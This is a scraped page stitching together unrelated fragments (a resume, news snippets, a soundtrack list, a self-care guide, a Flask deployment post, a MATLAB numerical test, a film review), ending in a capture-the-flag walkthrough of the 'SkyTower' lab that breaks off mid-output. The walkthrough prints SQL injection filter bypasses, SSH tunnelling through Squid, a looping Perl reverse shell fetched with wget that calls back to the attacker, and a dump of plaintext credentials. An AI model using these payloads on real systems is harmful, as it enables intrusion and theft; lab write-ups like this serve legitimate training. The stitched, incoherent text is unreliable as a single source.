One of the top 10 hires by LTI in 2019, selected through Infinity Coding Challenge conducted all over India with 5000+ applicants. A 10x programmer with 2.5+ years of experience in building solutions for Intelligent Automation using Python, Javascript, NLP, Chatbots, SQL, and prebuilt tools, and passionate about building scalable and resilient solutions which can automate/expedite business processes. Currently, working on a solution for auto creation of knowledge graphs from resumes in order to facilitate the process of filtering them, and finding the right candidate.
CGPA 8.18
Percentage 87%
Percentage 87%
Percentage 91%
Finding hydrocarbons through salt detection has been an intricate process, ever since they images salt the first time. Our solution to the problem is to basically use U-Nets which have shown state of the art results on image segmentation. Each pixel in the image is checked for the presence of salt and further on this is how the proportion of salt in that seismic image is calculated. Our model boasts an accuracy of 94.7% which is significantly higher than that of in the previous implementations.
WeByte is a programming colosseum that allows programmers to battle against other programmers in competitive programming contests. This Flask based website can be used by an individual who wishes to host a competitive coding event in one's locality, school, college or university. Companies can also host this website on their servers and use it for competitive coding tests for hiring purposes, instead of using a middleman to conduct the tests.
Analysis of Stock Prices of a set of American Banks between 2006 and 2016.
Focuses on exploratory data analysis of stock prices. Dataset retrieved from Google finance. Disclaimer: This project is not meant to be a robust financial analysis or be taken as financial advice.
Analysis of 911 Calls made between 2015 and 2016.
Analyzing 911 call data from the year 2015 and 2016. Dataset found on Kaggle.
A simulation of Dijkstra's Algorithm using C++ and OpenGL.
A Flask based website that allows users to build their own time lines in famous literary works including plays, novels, movie scripts etc.
A Maven based software to keep track of all sales and purchase activity in a company. This was built as a product for 2 companies that requested it.
Attendance Management System deals with the maintenance of the student’s attendance details. It engenders the attendance of the student on the substratum of one's presence in class. It is maintained on a circadian substructure by the faculty members of the university.
A College System to get feedback from the students about the faculty members teaching them. Mainly consists of four types of users namely, student, faculty, head of department and admin.
"The mark of higher education isn't the knowledge you accumulate in your head. It's the skills you gain about how to learn." —Adam Grant
Utilise interpersonal skills to motivate and encourage co-workers, understanding that major goals are achieved through teamwork.
Charismatic and confident public speaker.
Exercise empathy with others to assist in all aspects of communication, creating higher chances of successful outcomes and compromises.
Identify efficient solutions for given tasks and successfully implement them, aiding in effective problem-solving.
Tech savvy, with the ability to learn and use new methods, policies and technological advancements as they arise.
Specialised in the following :
Java, Python, Flask, MySQL, NoSQL, Javascript, HTML and CSS
Serverless Architecture, Data Structures & Algorithms, and Query Optimization
Git, Dialogflow, Automation Anywhere, Blue Prism and Kofax TotalAgility
Certifications :
Automation Anywhere Certified Advanced RPA Professional v11.0
Kofax TotalAgility 7.8 Cognitive Capture Essentials
Core Java Programming
Advanced Python Programming by Infosys
Hobbies :
Participating in programming competitions, usually on HackerEarth (acquired a rank of 63 in Infinity Code Wars 2018 conducted by Indian Institute of Science Bangalore).
Been playing the piano since the age of 6, currently a Grade 4 pianist and backup singer in a band.
Swimming, to stay fit and healthy.
Cooking, to quench that inner foodie’s thirst.
Interests :
Data Science, as it facilitates individuals to make better informed decisions.
Machine Learning, due to which machines can self learn without being explicitly programmed.

"People with goals succeed because they know where they're going."—Earl Nightingale
To publish a book within the next 2 years on how anyone can learn Deep Learning.
Become a Data Scientist within the next 5 to 6 years and try to tackle real world problems like rare diseases et cetera.
To bring about a change in the Indian Education System so as to boost the quality of personnel from India.


| Error Report Submitter for JIRA | |
|
This option allows user report an error to Jira. This reporter can be done by an Jira user. To report an error, click in Blame Loomy image. When you click, a new window appear to do the authentication.
If the issue is sucessfully created a information message appears to confirm the creation of the issue in Jira. |


PORT-OF-SPAIN, Trinidad (AP) -- Defending his brand of world politics, President Barack Obama said Sunday...
Both Graham and McCaskill spoke on "Fox News Sunday." Ensign was interviewed on CNN's "State of the Union."
PORT-OF-SPAIN, Trinidad (AP) -- Defending his brand of world politics, President Barack Obama said Sunday...
Both Graham and McCaskill spoke on "Fox News Sunday." Ensign was interviewed on CNN's "State of the Union."


IMPACT
Map
2345
km
2
area added to the map
2307123
people put on the map
14785
people without clear water
23057
people without mobile subscription
1
hospitals added
3
schools added


Buy this soundtrack from the FFC Store!
DISC ONE
1. Bland Logo ~ Title Back (6K)
2. Backborn Story
3. P.R. Movie
4. Character Introductions (6K)
5. Character Making
6. Prologue Movie (61K)
7. Pray
8. Enemy Attack (12K)
9. Trisection (48K)
10. Commander In Training (11K)
11. Attack Team (7K)
12. Unavoidable Battle (26K)
13. Mission Complete
14. Hero's Theme (16K)
15. A Chapel (24K)
16. Algus (7K)
17. World Map (8K)
18. Shop (7K)
19. Warrior's Hideout
20. Fur, Meat, and Bones Store
21. Team Making (17K)
22. Brave Story
23. Pub (9K)
24. Data Screen (7K)
25. Desert Land
26. Alma's Theme (33K)
27. Cryptic Mood
28. Decisive Battle (18K)
29. Cry of Pain
30. Remnants (14K)
31. Anxiety (11K)
32. Tension 1 (31K)
33. Game Over
34. Tutorial (16K)
35. Random Waltz
36. Ovelia's Theme (7K)
37. Apoplexy (17K)
38. Zalbag, The Holy Knight (15K)
39. Run Past Through The Plain (22K)
40. Invasion
41. Delita's Theme (23K)
42. Back Fire (22K)
DISC TWO
1/43. Memories
2/44. Dycedarg's Theme (7K)
3/45. Antipyretic (24K)
4/46. Holy Angel's Theme (3K)
5/47. Bloody Excrement
6/48. And I Ran Away
7/49. Espionage
8/50. Kourin
9/51. Ovelia's Worries (14K)
10/52. Under the Stars (21K)
11/53. Battle On The Bridge
12/54. Count's Anger
13/55. In Pursuit (11K)
14/56. Shock! ~ Failure
15/57. Holy Angel's Theme - DELUXE
16/58. Cry of Pain!
17/59. Requiem (5K)
18/60. Terror 1
19/61. The Pervert (58K)
20/62. Antidote
21/63. Thunder God Cid
22/64. Treasure
23/65. Night Attack (19K)
24/66. Terror 2 (47K)
25/67. Altima The Nice Body (65K)
26/68. Altima The Perfect Body!
27/69. Fanfare
28/70. Epilogue Movie
29/71. Staff Credit (62K)
Click here for all the MIDIs from FF Tactics (110K)
Marc Barber: Bland Logo
Nathaniel Harnack: Prologue Movie, Team Making, Delita's Theme, Terror 2, Altima The Nice Body, Staff Credit
Jeff Copperthite: Enemy Attack, Unavoidable Battle, Algus, Alma's Theme, Remnants, Tension 1, Back Fire, Dycedarg's Theme, Antipyretic, Ovelia's Worries, Under The Stars, In Pursuit, Requiem, The Pervert, Night Attack
Insane Apu: Trisection
Kyung Hoon Kang: Hero's Theme, Anxiety
Unknown: A Chapel
Sevon Tingel: Pub
Makkuro: Decisive Battle
Shawn: Holy Angel's Theme


!= include('src/lib/github.css.html'); ?> != include('src/css/syntax_help.css.html'); ?>
This add-on uses Github flavored markdown. Check here for a more comprehensive guide. These examples are taken from there.


The FoodPal
Sign Out
Menu
Add Meals to the Restaurant
Meal
---Meal---
Rice
Ugali
Potatos
Cancel
Submit
Meal
Price
-
-
Ugali
250
Delete
Edit
Potatos
200
Delete
Edit
Beef
350
Delete
Edit
Chicken
400
Delete
Edit
Rice
250
Delete
Edit
Tender goat
400
Delete
Edit


Search Tip: If you aren't getting results, try searching by medical specialty, doctor's name, or anything else! This utility will read info about doctor's education, bio, and practice description to bring you results!


The Importance of Self-Care
Self-Care can improve your mental health and not only make you
happier, but make others around you as well. Once you take care of
yourself, you can help others as well. There are many different
types of Self-Care.
The different types of Self-Care are:
- Physical: improves your
physical health and well-being
- Mental: stimulates and
focuses your brain
- Emotional: helps you
connect, acknowledge, and reflect on your emotions
- Practical: helps make your
life less stressful and more productive
- Social: nurtures your relationships
- Spiritual: nurtures your
spirit
Self-Care Ideas
- Physical:
- Create a basic skin-care routine
- Morning: Cleanse → Acne Medications → Moisturizer →
Sunscreen
- Evening: Cleanse → Face Mask → Acne Medications →
Moisturizer
- Develop a regular sleep routine
- According to CDC.gov, this is how much sleep you should be
getting:
- Ages 6-12: 9-12 hours
- Ages 13-18: 8-10 hours
- Ages 18+: 7+ hours
- Drink water
- You should be drinking 8 8-oz glasses of water per day
- Take a bath
- Workout (see Fitness)
- Take a nap
- Mental:
- Read a book/Listen to an audiobook
- You can reread your favorite book, or search up some
recommendations in your favorite genre online!
- Listen to your favorite songs and maybe try listening to a
different genre
- Watch funny YouTube videos
- Watch a TEDtalk
- Learn something new
- Try a new recipe (see Nutrition)
- Solve a puzzle
- Jigsaws, crosswords, word searches, sudokus, or coloring
pages (you can find printables online)
- Emotional:
- Write 10 things you’re grateful for
- Have a movie night or binge-watch shows
- Write 3 good things you did each day
- Make time out of your day to relax and do what you want to do!
- Practical:
- Declutter 1 room in your house each day
- Change the layout of your room
- You can go on Pintrest to get inspiration
- Organize
- This can be your music playlists, your workspace, your
closet, your Google Drive, your email, etc.
- Create a bucket list — what do you dream of doing?
- Set out the clothes you’re going to wear for the week in
advanced
- Social:
- Write cards to your friends and family
- Make time to call your family every week (if you don’t live
with them)
- Host a game or movie night with your friends
- Spiritual:
- Meditate
- A simple exercise you can try (HeadSpace has more guided
meditations)
- Set an alarm in case you fall asleep!
- Sit in a comfortable position with your back straight
- Focus on 1 part of your breathing (ex. the air flowing out
your nose or your belly rising and falling)
- Start becoming aware of the sounds, smells, and sensations
around you
- If your mind starts to overthink, return to focusing on
just your breathing
- Yoga
- There are several yoga instructors who post on YouTube
- Mindful walking
- Go for a walk outside and focus on the sounds, smells, and
sensations around you without judging if they’re good or bad;
just let them exist
- Try spending a day without your phone
- Pray


--- layout: post type: post status: publish tags: - deploy - flask - nginx - python - server - supervisor - Technical meta: _wpbitly: http://q.bibhas.in/MQKuRd _wp_old_slug: development-and-deployment-of-flask-app-on-nginx-with-uwsgisupervisor _edit_last: "1" published: true title: Development and Deployment of Flask app on Nginx with uWSGI+Supervisor permalink: /blog/767/development-and-deployment-of-flask-app-on-nginx-with-uwsgi-supervisor/ ---
Flask is a microframework for Python based on Werkzeug, Jinja 2 and good intentions. And before you ask: It's BSD licensed!I came across Flask when I was going through the apps from Hasgeek. All their sites are built on Flask. So I thought of giving it a try and I'm not disappointed. Flask is awesome. Minimal, supports Jinja for template managing and all you have to do is work on your app logic. Very less work involved to manage the framework. Here are the quick steps to follow to develop with Flask and deploy the app on an Nginx server -
pip install uwsgi
nginx_dissite $1 /etc/init.d/nginx reload nginx_ensite $1 /etc/init.d/nginx reloadPlace this file to /usr/sbin/nginx_renabsiteand you can run it like
$ nginx_renabsite site_config_filename


3D constant-density acoustic frequency-domain modeling: Testing Helmholtz derivative
In this test we certify that the function helmholtz_3d_derivative in fact computes the numerical derivative of the function helmholtz_3d. Notice that this is crucial for computing the action of the Jacobian (without explicitly forming the Jacobian).
Author: Rafael Lago
Contents
Theory
From Taylor's theorem we know that
That means that the second order perturbation
(1)
should be of the same order of magnitude as for any model and a small enough perturbation . If the model is given in slowness squared rather than meters per second, the second derivative should be zero and thus the first order approximation should be exact up to machine precision. In this test we concern the meters per second unit only, but with little modification, this script also shows that helmholtz_3d_derivative also represents the derivative of helmholtz_3d when using slowness squared.
In this test, we will consider the simple 3D Camembert velocity model as and a random perturbation . Instead of measuring however, we will sample it with a vector , as well chosen at random, and the test we effectively perform is
(2)
for varying values of , from to . We also impose that where denotes the Euclidean norm of the vectorized model .
Computational details
The actual derivative of helmholtz_3d should be a tensor of dimension and therefore the storage of such a structure is considerably expensive. However, it is possible to compute and store the tensor dH/dm using band-storage format. The total storage cost for the tensor computed by helmholtz_3d_derivative is exactly the same as that of the matrix H, computed using helmholtz_3d.
We refer to the technical report [1] for more details on how to implement the tensor and the tensor-vector product using the band-storage format.
Remark: This is specifically the tensor for the 27 points stencil. The implementation of the tensor for the simpler 7 points stencil will be provided in a future release.
Test case
For this test we use the simple 3D camembert model. It consists of a homogeneous model with a high velocity ellipsoid in the center. The following figure shows a slice of the model.
clear flog = fopen(['../results/test_helmholtz_derivative_log'],'w'); % Read velocity model (and plot a slice) %-------------------------------------------------------------------- vfile = [ '../data/m_true.rsf' ]; [model.v model.nv model.dv model.ov] = rsf_read_all(vfile); model.unit = 'm/s'; plot_slice(model.v,11,'z');
Script
Follows the test script. It prints some details of the velocity model being used and the progress of the numerical test for each value of h.
% Obtains a stable computational grid % (does not discretize yet) %-------------------------------------------------------------------- opts.discretize=false; cg = discrete_helmholtz(model,6,opts,flog); N = prod(cg.nt); % Choose the random perturbation dm and a random vector p %--------------------------------------------------------- h = 10.^([-1:-1:-10]); rng(123456); dm = randn(model.nv); dm =(dm/norm(dm(:))) *norm(model.v(:)); m = cg.pg2cg(model.v); dm = cg.pg2cg(dm); p = randn(N,1); % Discretize for H(m) %--------------------- [H0,idx] = helmholtz_3d(m,cg.d,cg.pml,cg.f,model.unit); H0p = Hmvp(H0,idx,p); plog(flog,'Testing the partial derivative of the Helmholtz operator w.r.t. m\n'); % Loop over h %------------- for i=1:length(h) [H, idx] = helmholtz_3d(m + h(i)*dm,cg.d,cg.pml,cg.f,model.unit); Hp = Hmvp(H,idx,p); [dH, ~ ] = helmholtz_3d_derivative(m + h(i)*dm,cg.d,cg.f,model.unit); dH = H2sparse(dH,idx); dmd = spdiags(dm(:),0,N,N); diff1(i) = norm(Hp - H0p); diff2(i) = norm(Hp - H0p - h(i)*(dH*dmd)*p); plog(flog,'Order of perturbation - ||h*dm||: ',h(i),'\n'); plog(flog,'First order error - ||H(m) - H(m+h*dm)||: ',diff1(i),'\n'); plog(flog,'Second order correction - ||h*dH(m+h*dm)*dm||: ',norm(h(i)*(dH*dmd)*p),'\n'); plog(flog,'Second order error - ||H(m) - H(m+h*dm) - h*dH(m+h*dm)*dm||: ',diff2(i),'\n\n'); end
* Physical domain: * ================== * vmin: 3.6e+03 * vmax: 4.5e+03 * Size: [5e+03 5e+03 2e+03] m³ * [ 51 51 21 ] points with grid spacing of [100 100 100] * Computational grid * ================== * n: [ 51 51 21 ] = 5.46e+04 * npml: [ 8 8 8 ], Total: 1.66e+05 * d: [ 100 100 100 ] * f: 6 Hz * nlam: 6 (effective: 6) Testing the partial derivative of the Helmholtz operator w.r.t. m Order of perturbation - ||h*dm||: 0.1 First order error - ||H(m) - H(m+h*dm)||: 0.00522 Second order correction - ||h*dH(m+h*dm)*dm||: 0.00636 Second order error - ||H(m) - H(m+h*dm) - h*dH(m+h*dm)*dm||: 0.00174 Order of perturbation - ||h*dm||: 0.01 First order error - ||H(m) - H(m+h*dm)||: 0.000478 Second order correction - ||h*dH(m+h*dm)*dm||: 0.000479 Second order error - ||H(m) - H(m+h*dm) - h*dH(m+h*dm)*dm||: 1.23e-05 Order of perturbation - ||h*dm||: 0.001 First order error - ||H(m) - H(m+h*dm)||: 4.78e-05 Second order correction - ||h*dH(m+h*dm)*dm||: 4.78e-05 Second order error - ||H(m) - H(m+h*dm) - h*dH(m+h*dm)*dm||: 1.23e-07 Order of perturbation - ||h*dm||: 0.0001 First order error - ||H(m) - H(m+h*dm)||: 4.78e-06 Second order correction - ||h*dH(m+h*dm)*dm||: 4.78e-06 Second order error - ||H(m) - H(m+h*dm) - h*dH(m+h*dm)*dm||: 1.23e-09 Order of perturbation - ||h*dm||: 1e-05 First order error - ||H(m) - H(m+h*dm)||: 4.78e-07 Second order correction - ||h*dH(m+h*dm)*dm||: 4.78e-07 Second order error - ||H(m) - H(m+h*dm) - h*dH(m+h*dm)*dm||: 1.23e-11 Order of perturbation - ||h*dm||: 1e-06 First order error - ||H(m) - H(m+h*dm)||: 4.78e-08 Second order correction - ||h*dH(m+h*dm)*dm||: 4.78e-08 Second order error - ||H(m) - H(m+h*dm) - h*dH(m+h*dm)*dm||: 1.23e-13 Order of perturbation - ||h*dm||: 1e-07 First order error - ||H(m) - H(m+h*dm)||: 4.78e-09 Second order correction - ||h*dH(m+h*dm)*dm||: 4.78e-09 Second order error - ||H(m) - H(m+h*dm) - h*dH(m+h*dm)*dm||: 1.23e-15 Order of perturbation - ||h*dm||: 1e-08 First order error - ||H(m) - H(m+h*dm)||: 4.78e-10 Second order correction - ||h*dH(m+h*dm)*dm||: 4.78e-10 Second order error - ||H(m) - H(m+h*dm) - h*dH(m+h*dm)*dm||: 3.56e-17 Order of perturbation - ||h*dm||: 1e-09 First order error - ||H(m) - H(m+h*dm)||: 4.78e-11 Second order correction - ||h*dH(m+h*dm)*dm||: 4.78e-11 Second order error - ||H(m) - H(m+h*dm) - h*dH(m+h*dm)*dm||: 3.26e-17 Order of perturbation - ||h*dm||: 1e-10 First order error - ||H(m) - H(m+h*dm)||: 4.78e-12 Second order correction - ||h*dH(m+h*dm)*dm||: 4.78e-12 Second order error - ||H(m) - H(m+h*dm) - h*dH(m+h*dm)*dm||: 3.08e-17
Results
As previously mentioned, we expect the second order error (1) to behave like . The following plot clearly shows that the as h decreases, the second order approximation follows the same behaviour (i.e. the lines are parallel) until reaching machine precision, which is . Notice that any further computation is not actually meaningful, and we observe that the second order error turns into a flat line after that point. This behaviour is expected.
Likewise, we show the first order error as well. As expected, it behaves like (i.e. the lines are parallel).
figure; loglog(h,diff1,h,h,'k--'); xlabel('h');ylabel('error'); hold on; loglog(h,h.^2,'g--'); hold on; loglog(h,diff2,'r'); xlim([h(end) h(1)]); legend('First order error','h','h^2','Second order error','Location','NorthWest'); fclose(flog);
References
[1] Lago, R. 2014 - Efficient computation of dH/dm tensor for a 27-points stencil with mass lumping


The Heiress (1949)
Grade: 94
"The Heiress" is adaptation of the play by Augustus and Ruth Goetz, which in turn was an adaption of the Henry James novel "Washington Square."
The story is about a plain young woman (Olivia De Havilland, best known for her role in "Gone With The Wind") who is courted by an attentive suitor (Montgomery Clift). Her prim father (Ralph Richardson) correctly judges Clift to be an ingratiating idler and threatens disinheriting her should she elope. Will De Havilland disobey her father? Will Clift marry her without her fortune? Will father and daughter be reconciled? If you've seen the latest adaptation of the novel, "Washington Square", you already know the answer to these questions.
"The Heiress" was nominated for a flood of academy awards, but the only major award was Best Actress to De Havilland. Her character begins the story as an earnest wallflower, but becomes proud and mature by its end. De Havilland could play both sides of the character equally well.
The film was also nominated for Best Picture, Best Director, Best Supporting Actor (Richardson) and Best B & W Cinematography. The competition must have been very strong that year, although I suspect that Oscar votes went to "All the King's Men" and "Twelve O'Clock High" because of their appeal to men, while the target audience of "The Heiress" was women.
Why is "The Heiress" such an outstanding movie? The script is excellent. Clift and especially Richardson are well cast. De Havilland is too lovely to play the plain daughter, but she does it so well. The three major characters are well defined, particularly the father, who belittles his daughter by comparing her with the idealized memory of his late wife.
http://members.tripod.com/~Brian_Koller/movies.html
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


---
layout: post
title: "SkyTower: 1"
date: 2019-04-26 13:57:54 +0000
author: Larry Brown
category: Walkthroughs
tags: [vulnhub, sqli, squid, proxychains, sudo, cat]
---
Hostname: SkyTower
IP Address: <IP_ADDRESS>
Information Gathering/Recon
The IP address is obtained via DHCP at boot. In my case, the IP is <IP_ADDRESS>.
Service Enumeration/Scanning
root@kali:~/Walkthroughs/skytower# nmap -Pn -sT -sV -sC -A -oA skytower -p 1-65535 <IP_ADDRESS>
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-26 10:06 EDT
Nmap scan report for SkyTower.homenet.dom (<IP_ADDRESS>)
Host is up (0.0012s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Site doesn't have a title (text/html).
3128/tcp open http-proxy Squid http proxy 3.1.20
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported: GET HEAD
|_http-server-header: squid/3.1.20
|_http-title: ERROR: The requested URL could not be retrieved
MAC Address: 08:00:27:54:4A:37 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.10, Linux 3.2 - 3.16
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 1.18 ms SkyTower.homenet.dom (<IP_ADDRESS>)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.87 seconds
Gaining Access
Looking at the versions of software returned from nmap, we have:
I checked the squid proxy to see if it will allow general proxying to the Internet, but it doesn't. I also wasn't able to pull information using squidclient (querying the cache manager). All requests return an access denied message.
I decided to scan the HTTP service on TCP port 80 using nikto.
root@kali:~/Walkthroughs/skytower# nikto -h http://<IP_ADDRESS>
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: <IP_ADDRESS>
+ Target Hostname: <IP_ADDRESS>
+ Target Port: 80
+ Start Time: 2019-04-26 10:20:01 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Debian)
+ Server may leak inodes via ETags, header found with file /, inode: 87, size: 1136, mtime: Fri Jun 20 07:23:36 2014
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html
+ Allowed HTTP Methods: OPTIONS, GET, HEAD, POST
+ Retrieved x-powered-by header: PHP/5.4.4-14+deb7u9
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
+ 8725 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time: 2019-04-26 10:20:33 (GMT-4) (32 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Looks like we found a login page, but not much else. Before browsing to it, I'd like to see if there are other directories available using dirb.
root@kali:~/Walkthroughs/skytower# dirb http://<IP_ADDRESS> /usr/share/dirb/wordlists/big.txt -o dirb-http-<IP_ADDRESS>.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
OUTPUT_FILE: dirb-http-<IP_ADDRESS>.txt
START_TIME: Fri Apr 26 10:22:33 2019
URL_BASE: http://<IP_ADDRESS>/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
-----------------
GENERATED WORDS: 20458
---- Scanning URL: http://<IP_ADDRESS>/ ----
+ http://<IP_ADDRESS>/background (CODE:200|SIZE:2572609)
+ http://<IP_ADDRESS>/cgi-bin/ (CODE:403|SIZE:288)
+ http://<IP_ADDRESS>/index (CODE:200|SIZE:1136)
+ http://<IP_ADDRESS>/server-status (CODE:403|SIZE:293)
-----------------
END_TIME: Fri Apr 26 10:22:56 2019
DOWNLOADED: 20458 - FOUND: 4
Doesn't look like much is available. We'll browse to the site and see what's up...
The default site for the HTTP service on TCP port 80 is a login page for "Skytech". There aren't any hints in the source code and there aren't any other directories/backdoors into the server. Looks like we'll have to come through the front door using SQL injection.
Our first attempt to test sqli in the password field returned a helpful error message.
There was an error running the query [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '11#'' at line 1]
We learn that the backend is using MySQL. We also see that our equal sign was stripped from "%' OR 1=1#". Sending "admin'--" in the username with no password gives us a little more of the syntax of the SQL statement.
There was an error running the query [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'' and password=''' at line 1]
So we know -- was stripped, and we get to see more of the SQL query. Trying to pass the string 'password' in the password field shows me password is changed to 'passwd'.
There was an error running the query [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'passwd like %a% #'' at line 1]
Submitting the string "or 1-- -' or 1 or '1"or 1 or" produces the following error.
There was an error running the query [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1 '1" 1 "' and password=''' at line 1]
So, it looks like 'or' is also being stripped (which is why 'password' was changed to 'passwd'), along with the '--' comment trick.
Let's see if we can use the double pipe in place of 'or'. We'll try 'admin' for the username and "' || 1=1#" for the password...
Nice! We at least got something new. We are given a new username and password to try, but it says we have to use SSH. Problem is, SSH seemed to be blocked in our nmap scan. However, squid was not blocked... and squid can be used as an SSH proxy... Let's try to SSH to the server through squid.
First, we'll add the proxy to our proxychains.conf config file in /etc
root@kali:~/Walkthroughs/skytower# cat /etc/proxychains.conf
# proxychains.conf VER 3.1
#
# HTTP, SOCKS4, SOCKS5 tunneling proxifier with DNS.
#
[...]
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4 <IP_ADDRESS> 9050
http <IP_ADDRESS> 3128
Now, we'll use proxychains to connect to the ssh service on <IP_ADDRESS>.
root@kali:~/Walkthroughs/skytower# proxychains ssh<EMAIL_ADDRESS>ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-<IP_ADDRESS>:3128-<><>-<IP_ADDRESS>:22-<><>-OK
The authenticity of host '<IP_ADDRESS> (<IP_ADDRESS>)' can't be established.
ECDSA key fingerprint is SHA256:QYZqyNNW/Z81N86urjCUIrTBvJ06U9XDDzNv91DYaGc.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '<IP_ADDRESS>' (ECDSA) to the list of known hosts.
<EMAIL_ADDRESS>password:
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jun 20 07:41:08 2014
Funds have been withdrawn
Connection to <IP_ADDRESS> closed.
The connection worked, but, unfortunately, immediately after logging in (and printing a message, "Funds have been withdrawn") is disconnected. We might be able to start bash right after login by passing the command at the end of our ssh command, like so...
root@kali:~/Walkthroughs/skytower# proxychains ssh<EMAIL_ADDRESS>"/bin/bash"
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-<IP_ADDRESS>:3128-<><>-<IP_ADDRESS>:22-<><>-OK
<EMAIL_ADDRESS>password:
pwd
/home/john
id
uid=1000(john) gid=1000(john) groups=1000(john)
We don't have a prompt, but at least we are still connected. Looking in the .bashrc file, we see the following commands at the end of the file.
cat .bashrc
[...]
echo
echo "Funds have been withdrawn"
exit
I'd like to remove 'exit' from the end of the file and SSH back in (without being disconnected). There are lots of ways to do that, but I'm going to do the following.
sed -i 's/exit/echo/g' .bashrc
This uses sed to replace every instance of 'exit' (I made sure there was only one), with 'echo'. Now we can disconnect and connect back in using SSH.
root@kali:~/Walkthroughs/skytower# proxychains ssh<EMAIL_ADDRESS>ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-<IP_ADDRESS>:3128-<><>-<IP_ADDRESS>:22-<><>-OK
<EMAIL_ADDRESS>password:
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Apr 26 14:04:44 2019 from skytower.homenet.dom
Funds have been withdrawn
john@SkyTower:~$
Maintaining Access
Since SSH is forced through a proxy, I decided to create a simple shell script that will try to connect back to my attacking machine every 5 minutes and use python's SimpleHTTPServer to serve it up to the victim.
root@kali:~/Walkthroughs/skytower# cat rev
#!/bin/sh
while true; do
perl -e 'use Socket;$i="<IP_ADDRESS>";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
# sleep for 300 seconds (5 mins)
sleep 300
done
root@kali:~/Walkthroughs/skytower# python -m SimpleHTTPServer 4321
Serving HTTP on <IP_ADDRESS> port 4321 ...
<IP_ADDRESS> - - [26/Apr/2019 14:49:47] "GET /rev HTTP/1.1" 200 -
I uploaded the script to the victim's /home/john directory and ran it in the background. Now, if I get disconnected, I should be able to restart a listener and get back in within 5 minutes.
john@SkyTower:~$ wget -O rev <IP_ADDRESS>:4321/rev
--2019-04-26 14:49:46-- http://<IP_ADDRESS>:4321/rev
Connecting to <IP_ADDRESS>:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 309 [application/octet-stream]
Saving to: `rev'
100%[============================================================================================================>] 309 --.-K/s in 0s
2019-04-26 14:49:46 (62.2 MB/s) - `rev' saved [309/309]
john@SkyTower:~$ chmod +x rev
john@SkyTower:~$ ./rev &
[1] 3505
Privilege Escalation
Venturing back to the /var/www directory, I checked the login.php page for database credentials.
john@SkyTower:~$ cd /var/www
john@SkyTower:/var/www$ cat login.php
<?php
$db = new mysqli('localhost', 'root', 'root', 'SkyTech');
Using these credentials, I was able to dump the following logins from the database.
john@SkyTower:~$ mysql -u root -p SkyTech
Enter password:
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 103
Server version: 5.5.35-0+wheezy1 (Debian)
Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show tables;
+-------------------+
| Tables_in_SkyTech |
+-------------------+
| login |
+-------------------+
1 row in set (0.00 sec)
mysql> select * from login;
+----+---------------------+--------------+
| id | email | password |
+----+---------------------+--------------+
| 1 |<EMAIL_ADDRESS>| hereisjohn |
| 2 |<EMAIL_ADDRESS>| ihatethisjob |
